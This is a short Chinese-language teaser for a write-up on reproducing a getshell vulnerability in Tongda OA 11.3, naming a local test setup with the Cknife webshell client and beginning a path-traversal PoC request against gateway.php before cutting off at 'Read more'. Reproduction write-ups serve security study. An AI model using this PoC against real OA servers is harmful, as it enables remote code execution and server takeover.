通达 OA 的 getshell 漏洞复现

准备漏洞环境: 我使用的是从官网下载的最新版 本机:Windows10+Cknife 连接 shell 漏洞环境:通达 OA11.3 版服务端(2020-01-03 12:50) 开始复现 1、开始安装环境,一步步的傻瓜式安装,然后启动环境 2、然后拿出我们的 POC /ispirit/interface/gateway.php?json={}&url=../../ispirit/../. …

Read more